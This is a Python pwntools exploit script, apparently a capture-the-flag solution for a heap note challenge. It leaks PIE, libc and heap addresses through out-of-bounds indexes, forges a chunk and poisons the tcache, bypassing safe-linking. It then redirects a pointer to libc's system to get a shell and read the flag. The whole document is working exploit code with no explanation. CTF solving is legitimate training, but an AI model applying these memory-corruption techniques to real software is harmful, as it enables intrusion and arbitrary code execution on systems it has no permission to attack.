1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| from pwn import *
libc = ELF("./x86_64-linux-gnu/libc.so.6")
def create(size, content): p.sendlineafter(">", str(1)) p.sendlineafter(">", str(size)) p.sendlineafter(":", content)
def show(index): p.sendlineafter(">", str(2)) p.sendlineafter(">", str(index))
def delete(index): p.sendlineafter(">", str(4)) p.sendlineafter(">", str(index))
p = remote('iloverust.challs.pwnoh.io', 1337, ssl=True)
show(-2) p.recvuntil(': ') pie_leak = u64(p.recv(6).ljust(8, b'\0')) print('pie_leak:', hex(pie_leak)) pie_base = pie_leak - 0x4060 print('pie_base:', hex(pie_base)) notes = pie_base + 0x4080 print('notes:', hex(notes))
show(-14) p.recvuntil(': ') libc_leak = u64(p.recv(6).ljust(8, b'\0')) print(hex(libc_leak)) libc_base = libc_leak - 0x00000000002045c0 print(hex(libc_base))
create(0x1000, b'a'*8) create(0x1000, b'a'*8) delete(0)
show(((libc_base + 0x203b40) - notes) // 0x10) p.recvuntil(': ') heap_leak = u64(p.recv(6).ljust(8, b'\0')) print(hex(heap_leak)) heap_base = heap_leak - 0x136c0 print(hex(heap_base)) delete(1)
for i in range(10): create(0x20, b'a'*8)
def protect_ptr(chunk, ptr): return (chunk >> 12) ^ ptr
chunk_ptr = heap_base + 0x138b0 fake_note_index = (chunk_ptr - notes)//0x10 payload = p64(heap_base + 0x13820) payload += p64((fake_note_index << 32) | 0x100) create(0x20, payload)
for i in range(0, 9): delete(i)
delete(fake_note_index)
for i in range(7): create(0x20, b'sh')
payload = p64(protect_ptr(heap_base + 0x13810, pie_base + 0x4010)) payload += p64(0x41414141) create(0x20, payload) create(0x20, b'b'*0x10) create(0x20, b'c'*0x10)
payload = p64(pie_base + 0x1056) payload += p64(libc_base + libc.sym['system'])
create(0x20, payload[:0x1f]) delete(2) p.sendline('cat flag.txt')
p.interactive()
|